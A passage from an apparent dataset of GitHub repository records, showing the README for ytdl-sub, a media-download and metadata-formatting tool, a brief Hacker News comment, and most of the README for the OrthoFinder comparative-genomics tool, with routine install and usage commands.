src=\"https://img.shields.io/discord/994270357957648404?logo=Discord\">](https://discord.gg/v8j9RAHb4k)\n[![codecov](https://img.shields.io/codecov/c/github/jmbannon/ytdl-sub)](https://app.codecov.io/gh/jmbannon/ytdl-sub)\n![Code Qaulity](https://img.shields.io/badge/pylint-10%2F10-brightgreen)\n![Checks](https://img.shields.io/github/checks-status/jmbannon/ytdl-sub/master)\n![License](https://img.shields.io/github/license/jmbannon/ytdl-sub?color=blue)\n\n`ytdl-sub` is a command-line tool that downloads media via \n[yt-dlp](https://github.com/yt-dlp/yt-dlp)\nand prepares it for your favorite media player, including\n[Kodi](https://github.com/xbmc/xbmc), \n[Jellyfin](https://github.com/jellyfin/jellyfin), \n[Plex](https://github.com/plexinc/pms-docker),\n[Emby](https://emby.media/),\nand modern music players. No additional plugins or external scrapers are needed.\n\nWe recognize that everyone stores their \nmedia differently. Our approach for file and metadata formatting is to provide\nmaximum flexibility while maintaining simplicity.\n\n### YouTube Channels as TV Shows\n#### Plex\n![unknown](https://user-images.githubusercontent.com/10107080/202107286-d8f38c7b-7caf-413a-b9a3-0bbbaded3646.png)\n\n#### Jellyfin\n![jellyfin](https://user-images.githubusercontent.com/10107080/182677243-b4184e51-9780-4094-bd40-ea4ff58555d0.PNG)\n\n### Music Videos and Concerts\n#### Kodi\n![kodi](https://user-images.githubusercontent.com/10107080/182677268-d1bf2ff0-9b9c-4a04-98ec-443a67ada734.png)\n#### Jellyfin\n![jelly_mv](https://user-images.githubusercontent.com/10107080/182677256-43aeb029-0c3f-4648-9fd2-352b9666b262.PNG)\n\n### SoundCloud Albums and Singles\n#### MusicBee (any file or tag-based music player)\n![sc_mb](https://user-images.githubusercontent.com/10107080/182685415-06adf477-3dd3-475d-bbcd-53b0152b9f0a.PNG)\n\n### Bandcamp Discography\n#### Navidrome (any file or tag-based music server)\n![bc_nav](https://user-images.githubusercontent.com/10107080/212503861-1d8748e6-6f6d-4043-b543-84226cd1f662.png)\n\n\n## How it Works\n`ytdl-sub` uses YAML configs to define a layout for how you want media to look\nafter it is downloaded. See our\n[walk-through guide](https://github.com/jmbannon/ytdl-sub/wiki)\non how to get started. Ready-to-use\n[example configurations](https://github.com/jmbannon/ytdl-sub/tree/master/examples)\ncan be found here alongside our\n[readthedocs](https://ytdl-sub.readthedocs.io/en/latest/config.html#)\nfor detailed information on config fields.\n\n\n### Config\nThe `config.yaml` defines how our downloads will look. For this example, let us\ndownload YouTube channels and generate metadata to look like TV shows using\nytdl-sub's prebuilt presets. No additional plugins or programs are needed for\nKodi, Jellyfin, Plex, or Emby to recognize your downloads. This can also be\nused to download any yt-dlp supported URL, including YouTube playlists, Bitchute channels, etc.\n\n\n```yaml\n# Set the working directory which will be used to stage downloads\n# before placing them in your desired output directory.\nconfiguration:\n  working_directory: '.ytdl-sub-downloads'\n\n# Presets are where you create 'sub-configs' that can can be\n# merged together to dictate what is downloaded, how to format it,\n# and what metadata to generate.\npresets:\n\n  # Let us create a preset called `only_recent_videos` that will\n  # only download recent videos in the last 2 months.\n  only_recent_videos:\n\n    # Use the `date_range` plugin to specify ytdl-sub to only\n    # download videos after today MINUS {download_range}, which\n    # is an override variable that we can alter per channel.\n    date_range:\n      after: \"today-{download_range}\"\n\n    # Any yt-dlp argument can be passed via ytdl-sub. Let us set\n    # yt-dlp's `break_on_reject` to True to stop downloading after\n    # any video is rejected. Videos will be rejected if they are\n    # uploaded after our {download_range}.\n    ytdl_options:\n      break_on_reject: True\n\n    # Deletes any videos uploaded after {download_range}.\n    output_options:\n      keep_files_after: \"today-{download_range}\"\n\n    # Set the override variable {download_range} to 2months.\n    # This will serve as our default value. We can override\n    # this per channel or in a child preset.\n    overrides:\n      download_range: \"2months\"\n\n  ####################################################################\n\n  # Now let us create a preset that downloads videos and formats\n  # as TV shows.\n  tv_show:\n\n    # Presets can inherit all attributes from other presets. Our\n    # `tv_show` preset will inherit these presets built into ytdl-sub.\n    preset:\n      # Let us specify all the TV show by date presets to support all\n      # players. You only need to specify one, but this ensures\n      # compatibility with all players.\n      - \"kodi_tv_show_by_date\"\n      - \"jellyfin_tv_show_by_date\"\n      - \"plex_tv_show_by_date\"\n      # Now we choose a preset that defines how our seasons and\n      # episode numbers look.\n      - \"season_by_year__episode_by_month_day\"\n\n    # Set override variables that will be applicable to all downloads\n    # in main presets.\n    overrides:\n      tv_show_directory: \"/tv_shows\"  # Replace with desired directory\n\n```\n\n### Subscriptions\nThe `subscriptions.yaml` file is where we define content to download using\npresets in the `config.yaml`. Each subscription can overwrite any field used\nin a preset.\n```yaml\n# The name of our subscription. Let us create one to download\n# ALL of Rick A's videos\nrick_a:\n  # Inherit our `tv_show` preset we made above\n  preset:\n    - \"tv_show\"\n  \n  # Set override variables to set the channel URL and the\n  # name we want to give the TV show.\n  overrides:\n    tv_show_name: \"Rick A\"\n    url: \"https://www.youtube.com/channel/UCuAXFkgsw1L7xaCfnd5JJOw\"\n\n# Let us make another subscription that will only download Rick A's\n# video's in the last 2 weeks.\nrick_a_recent:\n  # Inherit our `tv_show` AND `only_recent_videos` preset\n  # Bottom-most presets take precedence.\n  preset:\n    - \"tv_show\"\n    - \"only_recent_videos\"\n  \n  # Set override variables for this subscription. Modify the\n  # `download_range` to only download and keep 2 weeks' worth\n  # of videos.\n  overrides:\n    tv_show_name: \"Rick A\"\n    url: \"https://www.youtube.com/channel/UCuAXFkgsw1L7xaCfnd5JJOw\"\n    download_range: \"2weeks\"\n\n```\nThe download can now be performed using:\n```shell\nytdl-sub sub subscriptions.yaml\n```\nTo preview what your output files before doing any downloads, you can dry run using:\n```shell\nytdl-sub --dry-run sub subscriptions.yaml\n```\n\n### One-time Download\nThere are things we will only want to download once and never again. Anything\nyou can define in a subscription can be defined using CLI arguments. This\nexample is equivalent to the subscription example above:\n```shell\nytdl-sub dl \\\n    --preset \"tv_show\" \\\n    --overrides.tv_show_name \"Rick A\" \\\n    --overrides.url: \"https://www.youtube.com/channel/UCuAXFkgsw1L7xaCfnd5JJOw\"\n```\n\n#### Download Aliases\nIn the `config.yaml`, we can define aliases to make `dl` commands shorter.\n```yaml\nconfiguration:\n  dl_aliases:\n    tv: \"--preset tv_show\"\n    name: \"--overrides.tv_show_name\"\n    url: \"--overrides.url\"\n```\nThe above command can now be shortened to\n```shell\nytdl-sub dl \\\n    --tv \\\n    --name \"Rick A\" \\\n    --url \"https://www.youtube.com/channel/UCuAXFkgsw1L7xaCfnd5JJOw\"\n```\n\n### Output\nAfter `ytdl-sub` runs, the end result will download and format the channel\nfiles into something ready to be consumed by your favorite media player or\nserver.\n```\n/path/to/tv_shows/Rick A\u00df\n  /Season 2021\n    s2021.e0317 - Pattys Day Video-thumb.jpg\n    s2021.e0317 - Pattys Day Video.mp4\n    s2021.e0317 - Pattys Day Video.nfo\n  /Season 2022\n    s2022.e1225 - Merry Christmas-thumb.jpg\n    s2022.e1225 - Merry Christmas.mp4\n    s2022.e1225 - Merry Christmas.nfo\n  poster.jpg\n  fanart.jpg\n  tvshow.nfo\n```\n\n### Beyond TV Shows\nThe above example made heavy-use of `ytdl-sub` prebuilt presets and hides many\nfeatures that are offered. `ytdl-sub` strives to support _any_ use case that first requires\na download via yt-dlp. Use `ytdl-sub` to download, format, and convert media for your media\nplayer to recognize downloads as:\n- Movies\n- TV shows\n  - From a single channel or playlist\n  - From multiple channels or playlists\n  - From individual videos\n- Extracted audio as podcasts\n- Music videos\n- Music, including:\n  - Individual songs\n  - Albums\n  - Discographies\n\n## Installation\n\nThe ytdl-sub docker image uses\n[LinuxServer's](https://www.linuxserver.io/)\n[base alpine image](https://github.com/linuxserver/docker-baseimage-alpine).\nIt looks, feels, and operates like other LinuxServer images. This is the \nrecommended way to use ytdl-sub.\n\nThe docker image is intended to be used as a console. For automating \n`subscriptions.yaml` downloads to pull new media, see\n[this guide](https://github.com/jmbannon/ytdl-sub/wiki/7.-Automate-Downloading-New-Content-Using-Your-Configs)\non how set up a cron job in the docker container.\n\n### Docker Compose\n```yaml\nservices:\n  ytdl-sub:\n    image: ghcr.io/jmbannon/ytdl-sub:latest\n    container_name: ytdl-sub\n    environment:\n      - PUID=1000\n      - PGID=1000\n      - TZ=America/Los_Angeles\n    volumes:\n      - <path/to/ytdl-sub/config>:/config\n      - <path/to/tv_shows>:/tv_shows # optional\n      - <path/to/movies>:/movies # optional\n      - <path/to/music_videos>:/music_videos # optional\n      - <path/to/music>:/music # optional\n    restart: unless-stopped\n```\n### Docker CLI\n```commandline\ndocker run -d \\\n    --name=ytdl-sub \\\n    -e PUID=1000 \\\n    -e PGID=1000 \\\n    -e TZ=America/Los_Angeles \\\n    -v <path/to/ytdl-sub/config>:/config \\\n    -v <OPTIONAL/path/to/tv_shows>:/tv_shows \\\n    -v <OPTIONAL/path/to/movies>:/movies \\\n    -v <OPTIONAL/path/to/music_videos>:/music_videos \\\n    -v <OPTIONAL/path/to/music>:/music \\\n    --restart unless-stopped \\\n    ghcr.io/jmbannon/ytdl-sub:latest\n```\n\n### Building Docker Image Locally\nRun `make docker` in the root directory of this repo to build the image. This\nwill build the python wheel and install it in the Dockerfile.\n\n### Virtualenv\nWith a Python 3.10 virtual environment, you can clone and install the repo using\n```commandline\ngit clone https://github.com/jmbannon/ytdl-sub.git\ncd ytdl-sub\n\npip install -e .\n```\n\n## Contributing\nThere are many ways to contribute, even without coding. Please take a look in\nour [GitHub Issues](https://github.com/jmbannon/ytdl-sub/issues) to ask\nquestions, submit a feature request, or pick up a bug.\n\n## Support\nWe are pretty active in our\n[Discord channel](https://discord.gg/v8j9RAHb4k)\nif you have any questions. Also see our\n[FAQ](https://github.com/jmbannon/ytdl-sub/wiki/FAQ)\nfor commonly asked questions.\n", "readme_type": "markdown", "hn_comments": "Not mine but have been using this for a while. Very nice tool for archiving youtube, soundcloud etc. Has predone setups for plex and .nfo metadata. Really a big fan. Nice little python app. Very versatile in what you can do and dev is very responsive. Give a look<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "davidemms/OrthoFinder", "link": "https://github.com/davidemms/OrthoFinder", "tags": ["gene-trees", "orthogroup", "orthologs", "gene-duplication"], "stars": 507, "description": "Phylogenetic orthology inference for comparative genomics", "lang": "Python", "repo_lang": "", "readme": "\n### Interested in a single gene? Try SHOOT.bio, the phylogenetic search engine: https://SHOOT.bio\n\nSHOOT.bio searches your query sequence against a database of gene families and instantly provides you with a phylogenetic tree with your query sequence grafted into it. \n\nOr, if you want to run an orthology analysis for all genes in multiple species then keep reading about OrthoFinder.\n\n---\n\n### In addition to this README there is a set of OrthoFinder tutorials here: https://davidemms.github.io/\n\n1. Downloading and running OrthoFinder\n2. Running an example OrthoFinder analysis\n3. Exploring OrthoFinder's results\n4. OrthoFinder best practices\n\n---\n\n# OrthoFinder: phylogenetic orthology inference for comparative genomics\n\n![OrthoFinder workflow](assets/Workflow.png)\n*Figure 1: Automatic OrthoFinder analysis*\n\n## What does OrthoFinder do?\nOrthoFinder is a fast, accurate and comprehensive platform for comparative genomics. It finds **orthogroups** and **orthologs**, infers **rooted gene trees** for all orthogroups and identifies all of the **gene duplication events** in those gene trees. It also infers a **rooted species tree** for the species being analysed and maps the gene duplication events from the gene trees to branches in the species tree. OrthoFinder also provides **comprehensive statistics** for comparative genomic analyses. OrthoFinder is simple to use and all you need to run it is a set of protein sequence files (one per species) in FASTA format.\n\nFor more details see the OrthoFinder papers below.\n\n[Emms, D.M. and Kelly, S. **(2019)** _OrthoFinder: phylogenetic orthology inference for comparative genomics._ **Genome Biology** 20:238](https://genomebiology.biomedcentral.com/articles/10.1186/s13059-019-1832-y)\n\n[Emms, D.M. and Kelly, S. **(2015)** _OrthoFinder: solving fundamental biases in whole genome comparisons dramatically improves orthogroup inference accuracy._ **Genome Biology** 16:157](https://genomebiology.biomedcentral.com/articles/10.1186/s13059-015-0721-2)\n\nYou can see an overview talk for OrthoFinder from the 2020 Virtual symposium on Phylogenomics and Comparative Genomics here:\n\n[![OrthoFinder: Building Fully Phylogenetic Orthology Inference](assets/youtube_title_slide.jpg)](https://www.youtube.com/watch?v=L6eXJAE5J7g \"OrthoFinder: Building Fully Phylogenetic Orthology Inference\")\n\nThanks to Rosa Fern\u00e1ndez & Jesus Lozano-Fernandez for organising this excellent conference.\n\n---\n\n## Table of Contents\n\n<!-- START doctoc generated TOC please keep comment here to allow auto update -->\n<!-- DON'T EDIT THIS SECTION, INSTEAD RE-RUN doctoc TO UPDATE -->\n*generated with [DocToc](https://github.com/thlorenz/doctoc)*\n\n- [Getting started with OrthoFinder](#getting-started-with-orthofinder)\n  - [Installing OrthoFinder on Linux](#installing-orthofinder-on-linux)\n  - [Installing OrthoFinder on Mac & Windows](#installing-orthofinder-on-mac--windows)\n- [Running OrthoFinder](#running-orthofinder)\n- [OrthoFinder Results Files](#orthofinder-results-files)\n  - [Phylogenetic Hierarchical Orthogroups Directory](#phylogenetic-hierarchical-orthogroups-directory)\n  - [Orthologues Directory](#orthologues-directory)\n  - [Orthogroups Directory (deprecated)](#orthogroups-directory-deprecated)\n  - [Gene Trees Directory](#gene-trees-directory)\n  - [Resolved Gene Trees Directory](#resolved-gene-trees-directory)\n  - [Species Tree Directory](#species-tree-directory)\n  - [Comparative Genomics Statistics Directory](#comparative-genomics-statistics-directory)\n  - [Gene Duplication Events Directory](#gene-duplication-events-directory)\n  - [Orthogroup Sequences](#orthogroup-sequences)\n  - [Single Copy Orthologue Sequences](#single-copy-orthologue-sequences)\n  - [WorkingDirectory](#workingdirectory)\n- [Understanding Orthology](#understanding-orthology)\n  - [Orthogroups, Orthologs & Paralogs](#orthogroups-orthologs--paralogs)\n  - [Why Orthogroups](#why-orthogroups)\n    - [Orthogroups allow you to analyse all of your data](#orthogroups-allow-you-to-analyse-all-of-your-data)\n    - [Orthogroups allow you to define the unit of comparison](#orthogroups-allow-you-to-define-the-unit-of-comparison)\n    - [Orthogroups are the only way to identify orthologs](#orthogroups-are-the-only-way-to-identify-orthologs)\n- [Trees from MSA: `\"-M msa\"`](#trees-from-msa--m-msa)\n- [Advanced usage](#advanced-usage)\n  - [Python Source Code Version](#python-source-code-version)\n  - [Manually Installing Dependencies](#manually-installing-dependencies)\n    - [DIAMOND](#diamond)\n    - [MCL](#mcl)\n    - [FastME](#fastme)\n    - [Optional: BLAST+](#optional-blast)\n    - [Optional: MMseqs2](#optional-mmseqs2)\n  - [config.json : Adding addtional programs for tree inference, local alignment or MSA](#configjson--adding-addtional-programs-for-tree-inference-local-alignment-or-msa)\n  - [Adding Extra Species](#adding-extra-species)\n  - [Removing Species](#removing-species)\n  - [Adding and Removing Species Simultaneously](#adding-and-removing-species-simultaneously)\n  - [Inferring Multiple Sequence Alignment (MSA) Gene Trees](#inferring-multiple-sequence-alignment-msa-gene-trees)\n  - [Parallelising OrthoFinder Algorithm](#parallelising-orthofinder-algorithm)\n  - [Running BLAST Searches Separately (-op option)](#running-blast-searches-separately--op-option)\n  - [Using Pre-Computed BLAST Results](#using-pre-computed-blast-results)\n  - [Regression Tests](#regression-tests)\n- [Methods](#methods)\n  - [Species Tree Inference](#species-tree-inference)\n    - [Default species tree method](#default-species-tree-method)\n    - [Multiple Sequence Alignment species tree method (-M msa)](#multiple-sequence-alignment-species-tree-method--m-msa)\n    - [Falback species tree method](#falback-species-tree-method)\n- [Command line options](#command-line-options)\n  - [Options for starting an analysis](#options-for-starting-an-analysis)\n  - [Options for stopping an analysis](#options-for-stopping-an-analysis)\n  - [Options controlling the workflow](#options-controlling-the-workflow)\n  - [Options controlling the programs used](#options-controlling-the-programs-used)\n  - [Further options](#further-options)\n\n<!-- END doctoc generated TOC please keep comment here to allow auto update -->\n\n## Getting started with OrthoFinder\nYou can find a step-by-step tutorial here: [Downloading and checking OrthoFinder](https://davidemms.github.io/orthofinder_tutorials/downloading-and-checking-orthofinder.html) including **instructions for Mac**, for which Bioconda is recommended and **Windows**, for which the Windows Subsystem for Linux is recommended. There are also tutorials on that site which guide you through running your first analysis and exploring the results files. \n\n### Installing OrthoFinder on Linux\nYou can install OrthoFinder using Bioconda or download it directly from GitHub. These are the instructions for direct download, see the tutorials for other methods.\n\n1. Download the latest release from github: https://github.com/davidemms/OrthoFinder/releases \n    * If you have python installed and the numpy and scipy libraries then download **OrthoFinder_source.tar.gz**.\n    * If not then download the larger bundled package, **OrthoFinder.tar.gz**.\n\n2. In a terminal, 'cd' to where you downloaded the package \n\n3. Extract the files: `tar xzf OrthoFinder_source.tar.gz`  or `tar xzf OrthoFinder.tar.gz`\n\n4. Test you can run OrthoFinder: `python OrthoFinder_source/orthofinder.py -h` or `./OrthoFinder/orthofinder -h`. OrthoFinder should print its 'help' text. \n\n5. That's it! You can now run OrthoFinder on a directory of protein sequence fasta files: e.g. `./OrthoFinder/orthofinder -f /OrthoFinder/ExampleData/`\n\nIf you want to move the orthofinder executable to another location then you must also place the accompanying config.json file and bin/ directory in the same directory as the orthofinder executable.\n\nOrthoFinder is written in python, but the bundled version does not require python to be installed on your computer. Both versions contain the programs OrthoFinder needs in order to run (in bin/), it will use these copies in preference to any of the same programs in your system path. You can delete the individual executables if you would prefer it not to do this. \n\n### Installing OrthoFinder on Mac & Windows\n\nThe easiest way to install OrthoFinder on Mac is using Bioconda:\n\nvia bioconda: `conda install orthofinder`\n\nThe easiest way to run OrthoFinder on Windows is using the Windows Subsystem for Linux or Docker: [davidemms/orthofinder](https://hub.docker.com/r/davidemms/orthofinder): \n\n```\ndocker pull davidemms/orthofinder\ndocker run -it --rm davidemms/orthofinder orthofinder -h\ndocker run --ulimit nofile=1000000:1000000 -it --rm -v /full/path/to/fastas:/input:Z davidemms/orthofinder orthofinder -f /input\n```\n\nA more complete guide can be found here: <https://davidemms.github.io/orthofinder_tutorials/alternative-ways-of-getting-OrthoFinder.html>. Note that running OrthoFinder on Windows in a docker containner will not be as fast as running it natively.\n\n## Running OrthoFinder\nTo run OrthoFinder on the Example Data type:\n\n`OrthoFinder/orthofinder -f OrthoFinder/ExampleData`\n\nTo run on your own dataset, replace \"OrthoFinder/ExampleData\" with the directory containing your input fasta files, with one file per species. OrthoFinder will look for input fasta files with any of the following filename extensions:\n* .fa\n* .faa\n* .fasta\n* .fas\n* .pep\n\n## OrthoFinder Results Files\n**There is a tutorial that provides a guided tour of the main results files here: <https://davidemms.github.io/orthofinder_tutorials/exploring-orthofinders-results.html>**\n\nA standard OrthoFinder run produces a set of files describing the orthogroups, orthologs, gene trees, resolve gene trees, the rooted species tree, gene duplication events and comparative genomic statistics for the set of species being analysed. These files are located in an intuitive directory structure.\n\n### Phylogenetic Hierarchical Orthogroups Directory\nFrom version 2.4.0 onwards OrthoFinder infers HOGs, orthogroups at each hierarchical level (i.e. at each node in the species tree) by analysing the rooted gene trees. This is a far more accurate orthogroup inference method than the gene similarity/graph based approach used by all other methods and used previously by OrthoFinder (the deprecated Orthogroups/Orthogroups.tsv file). According to the Orthobench benchmarks, these new orthogroups are 12% more accurate than the OrthoFinder 2 orthogroups (Orthogroups/Orthogroups.tsv). The accuracy can be increased still further (20% more accurate on Orthobench) by including outgroup species, which help with the interpretation of the rooted gene trees. \n\nIt is important to ensure that the species tree OrthoFinder is using is accurate so as to maximise the accuracy of the HOGs. To reanalyse with a different species tree use the options `-ft PREVIOUS_RESULTS_DIR -s SPECIES_TREE_FILE`. This runs just the final analysis steps \"from trees\" and is relatively quick. If outgroup species are used, refer to \"Species_Tree/SpeciesTree_rooted_node_labels.txt\" to determine which N?.tsv file that contains the orthogroups you require. \n\n1. **N0.tsv** is a tab separated text file. Each row contains the genes belonging to a single orthogroup. The genes from each orthogroup are organized into columns, one per species. Additional columns give the HOG (Hierarchical Orthogroup) ID and the node in the gene tree from which the HOG was determined (note, this can be above the root of the clade containing the genes). **This file effectively replaces the orthogroups in Orthogroups/Orthogroups.tsv** from Markov clustering using MCL. \n\n2. **N1.txt, N2.tsv, ...**: Orthogroups inferred from the gene trees corresponding to the clades of species in the species tree N1, N2, etc. Because OrthoFinder now infers orthogroups at every hierarchical level within the species tree, it is now possible to include outgroup species within the analysis and then use the HOG files to get the orthogroups defined for your chosen clade within the species tree. \n\n(Hierarchical orthogroup splitting: When analysing the gene trees, a nested hierarchical group (any HOG other than N0, the HOG at the level of the last common ancestor of all species) may sometimes have lost its genes from the earliest diverging species and then duplicated before the first extant genes. The two first diverging clades will then be paralogous even though the evidence suggests they belong to the same HOG. For most analyses it is often better to split these clades into separate groups. This can be requested using the option '**-y**'.)\n\n### Orthologues Directory \nThe Orthologues directory contains one sub-directory for each species that in turn contains a file for each pairwise species comparison, listing the orthologs between that species pair. Orthologues can be one-to-one, one-to-many or many-to-many depending on the gene duplication events since the orthologs diverged (see Section \"Orthogroups, Orthologues & Paralogues\" for more details). Each row in a file contains the gene(s) in one species that are orthologues of the gene(s) in the other species and each row is cross-referenced to the orthogroup that contains those genes. \n\n### Orthogroups Directory (deprecated)\n**The orthogroups in Phylogenetic_Hierarchical_Orthogroups/ should be used instead.** They are identifed using rooted genes trees and are 12%-20% more accurate.\n\n1. **Orthogroups.tsv (deprecated)** is a tab separated text file. Each row contains the genes belonging to a single orthogroup. The genes from each orthogroup are organized into columns, one per species. **The orthogroups in Phylogenetic_Hierarchical_Orthogroups/N0.tsv should be used instead.** \n\n2. **Orthogroups_UnassignedGenes.tsv** is a tab separated text file that is identical in format to Orthogroups.csv but contains all of the genes that were not assigned to any orthogroup.\n\n3. **Orthogroups.txt** (legacy format) is a second file containing the orthogroups described in the Orthogroups.tsv file but using the OrthoMCL output format. \n\n4. **Orthogroups.GeneCount.tsv** is a tab separated text file that is identical in format to Orthogroups.csv but contains counts of the number of genes for each species in each orthogroup.\n\n5. **Orthogroups_SingleCopyOrthologues.txt** is a list of orthogroups that contain exactly one gene per species i.e. they contain one-to-one orthologues. They are ideally suited to between-species comparisons and to species tree inference. \n\n### Gene Trees Directory\n1. A rooted phylogenetic tree inferred for each orthogroup with 4 or more sequences (4 sequences is the mimimum number required for tree inference with most tree inference programs).\n\n### Resolved Gene Trees Directory\n1. A rooted phylogenetic tree inferred for each orthogroup with 4 or more sequences and resolved using the OrthoFinder hybrid species-overlap/duplication-loss coalescent model.\n\n### Species Tree Directory\n1. **SpeciesTree_rooted.txt** A STAG species tree inferred from all orthogroups, containing STAG support values at internal nodes and rooted using STRIDE.\n\n2. **SpeciesTree_rooted_node_labels.txt** The same tree as above but with the nodes given labels (instead of support values) to allow other results files to cross-reference branches/nodes in the species tree (e.g. location of gene duplication events).\n\n### Comparative Genomics Statistics Directory\n1. **Duplications_per_Orthogroup.tsv** is a tab separated text file that gives the number of duplications identified in each orthogroup. This master file for this data is Gene_Duplication_Events/Duplications.tsv.\n\n2. **Duplications_per_Species_Tree_Node.tsv** is a tab separated text file that gives the number of duplications identified as occurring along each branch of the species tree. This master file for this data is Gene_Duplication_Events/Duplications.tsv.\n\n3. **Orthogroups_SpeciesOverlaps.tsv** is a tab separated text file that contains the number of orthogroups shared between each species-pair as a square matrix.\n\n4. **OrthologuesStats_*.tsv files** are tab separated text files containing matrices giving the numbers of orthologues in one-to-one, one-to-many and many-to-many relationships between each pair of species.\n\n    * ***OrthologuesStats_one-to-one.tsv*** is the number of one-to-one orthologues between each species pair. \n\n    * ***OrthologuesStats_many-to-many.tsv*** contains the number of orthologues in a many-to-many relationship for each species pair (due to gene duplication events in both lineages post-speciation). Entry (i,j) is the number of genes in species i that are in a many-to-many orthology relationship with genes in species j.\n\n    * ***OrthologuesStats_one-to-many.tsv***: entry (i,j) gives the number of genes in species i that are in a one-to-many orthology relationship with genes from species j. There is a walk-through of an example results file here: https://github.com/davidemms/OrthoFinder/issues/259.\n\n    * ***OrthologuesStats_many-to-one.tsv***: entry (i,j) gives the number of genes in species i that are in a many-to-one orthology relationship with a gene from species j. There is a walk-through of an example results file here: https://github.com/davidemms/OrthoFinder/issues/259.\n\n    * ***OrthologuesStats_Total.tsv*** contains the totals for each species pair of orthologues of whatever multiplicity. Entry (i,j) is the total number of genes in species i that have orthologues in species j.\n\n5. **Statistics_Overall.tsv** is a tab separated text file that contains general statistics about orthogroup sizes and proportion of genes assigned to orthogroups.\n\n6. **Statistics_PerSpecies.tsv** is a tab separated text file that contains the same information as the Statistics_Overall.csv file but for each individual species.\n\nMost of the terms in the files 'Statistics_Overall.csv' and 'Statistics_PerSpecies.csv' are self-explanatory, the remainder are defined below.\n\n- Species-specific orthogroup: An orthogroups that consist entirely of genes from one species.\n- G50: The number of genes in the orthogroup such that 50% of genes are in orthogroups of that size or larger.\n- O50: The smallest number of orthogroups such that 50% of genes are in orthogroups of that size or larger.\n- Single-copy orthogroup: An orthogroup with exactly one gene (and no more) from each species. These orthogroups are ideal for inferring a species tree and many other analyses. \n- Unassigned gene: A gene that has not been put into an orthogroup with any other genes.\n\n### Gene Duplication Events Directory\n1. **Duplications.tsv** is a tab separated text file that lists all the gene duplication events identified by examining each node of each orthogroup gene tree. The columns are \"Orthogroup\", \"Species Tree node\" (branch of the species tree on which the duplication took place, see Species_Tree/SpeciesTree_rooted_node_labels.txt), \"Gene tree node\" (node corresponding to the gene duplication event, see corresponding orthogroup tree in Resolved_Gene_Trees/); \"Support\" (proportion of expected species for which both copies of the duplicated gene are present); \"Type\" (\"Terminal\": duplication on a terminal branch of the species tree, \"Non-Terminal\": duplication on an internal branch of the species tree & therefore shared by more than one species, \"Non-Terminal: STRIDE\": Non-Terminal duplication that also passes the very stringent [STRIDE](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5850722/) checks for what the topology of the gene tree should be post-duplication); \"Genes 1\" (the list of genes descended from one of the copies of the duplicate gene), \"Genes 2\" (the list of genes descended from the other copy of the duplicate gene.\n\n2. **SpeciesTree_Gene_Duplications_0.5_Support.txt** provides a summation of the above duplications over the branches of the species tree. It is a text file in newick format. The numbers after each node or species name are the number of gene duplication events with at least 50% support that occurred on the branch leading to the node/species. The branch lengths are the standard branch lengths, as give in Species_Tree/SpeciesTree_rooted.txt.\n\n### Orthogroup Sequences\n1. A FASTA file for each orthogroup giving the amino acid sequences for each gene in the orthogroup.\n\n### Single Copy Orthologue Sequences\n1. The same files as the \"Orthogroup Sequences\" directory but restricted to only those orthogroups which contain exactly one gene per species.\n\n### WorkingDirectory\nThis contains all the files necessary for orthofinder to run. You can ignore this.\n\n## Understanding Orthology\n### Orthogroups, Orthologs & Paralogs\nFigure 2A shows an example gene tree for three species: human, mouse and chicken. Orthologs are pairs of genes that descended from a single gene in the last common ancestor (LCA) of two species (Fig. 2B). They can be thought of as 'equivalent genes' between two species. An orthogroup is the extension of this concept to groups of species. An orthogroup is the group of genes descended from a single gene in the LCA of a group of species (Figure 2A). Genes within an orthogroup may be orthologs of one another or they may be paralogs, as explained below.\n\nThe tree shows the evolutionary history of a gene. First, there was a speciation event where the chicken lineage diverged from the human-mouse ancestor. In the human-mouse ancestor, there was a gene duplication event at X producing two copies of the gene in that ancestor, Y & Z. When human and mouse diverged they each inherited gene Y (becoming HuA & MoA) and gene Z (HuB & MoB). In general, we can identify a gene duplication event because it creates two copies of a gene in a species (e.g. HuA & HuB).\n\n![Orthologues, Orthogroups & Paralogues](assets/Orthogroups_Orthologues_Paralogues_v2.png)\n*Figure 2: Orthologues, Orthogroups & Paralogues*\n\nTo tell which genes are orthologs and which genes are paralogs we need to identify the gene duplciation events in the tree. Orthologs are gene that diverged at a speciation event (e.g HuA & MoA) while paralogs diverged at a gene duplication event (e.g. HuA & MoB, and others: Fig 2C). Because orthologs only diverged at the point when the species diverged, they are as closely related as any gene can be between the two species. Paralogs are more distantly related, they diverged at a gene duplication event in a common ancestor. Such a gene duplication event must have occurred further back in time than when the species diverged and so paralogs between a pair of species are always less closely related than orthologs between that pair of species. Paralogs are also possible within a species (e.g. HuA & HuB).\n\nThe chicken gene diverged from the other genes when the lineage leading to chicken split from the lineage leading to human and mouse. Therefore, the chicken gene ChC is an ortholog of HuA & HuB in human and an ortholog of MoA & MoB in mouse. Depending on what happend after the genes diverged, orthologs can be in one-to-one relationships (HuA - MoA), many-to-one (HuA & HuB - ChC), or many-to-many (no examples in this tree, but would occur if there were a duplication in chicken). All of these relationships are identified by OrthoFinder.\n\n### Why Orthogroups\n#### Orthogroups allow you to analyse all of your data\nAll of the genes in an orthogroup are descended from a single ancestral gene. Thus, all the genes in an orthogroup started out with the same sequence and function. As gene duplication and loss occur frequently in evolution, one-to-one orthologs are rare and limitation of analyses to on-to-one orthologs limits an analysis to a small fraction of the available data. By analysing orthogroups you can analyse all of your data. \n\n#### Orthogroups allow you to define the unit of comparison\nIt is important to note that with orthogroups you choose where to define the limits of the unit of comparison. For example, if you just chose to analyse human and mouse in the above figure then you would have two orthogroups. \n\n#### Orthogroups are the only way to identify orthologs\nOrthology is defined by phylogeny. It is not definable by amino acid content, codon bias, GC content or other measures of sequence similarity. Methods that use such scores to define orthologs in the absence of phylogeny can only provide guesses. The only way to be sure that the orthology assignment is correct is by conducting a phylogenetic reconstruction of all genes descended from a single gene the last common ancestor of the species under consideration. This set of genes is an orthogroup. Thus, the only way to define orthology is by analysing orthogroups.   \n\n## Trees from MSA: `\"-M msa\"`\nThe following is not required for the standard OrthoFinder use cases and are only needed if you want to infer maximum likelihood trees from multiple sequence alignments (MSA). This is more costly computationally but more accurate. By default, MAFFT is used for the alignment and FastTree for the tree inference. The option for this is, \"-M msa\". You should be careful using any other tree inference programs, such as IQTREE or RAxML, since inferring the gene trees for the complete set of orthogroups using anything that is not as quick as FastTree will require significant computational resources/time. The executables you wish to use should be in the system path. \n\n## Advanced usage\n### Python Source Code Version\nThere is a standalone binary for OrthoFinder which do not require python or scipy to be installed which is therefore the easiest for many users. However, the python source code version is available from the github 'releases' page 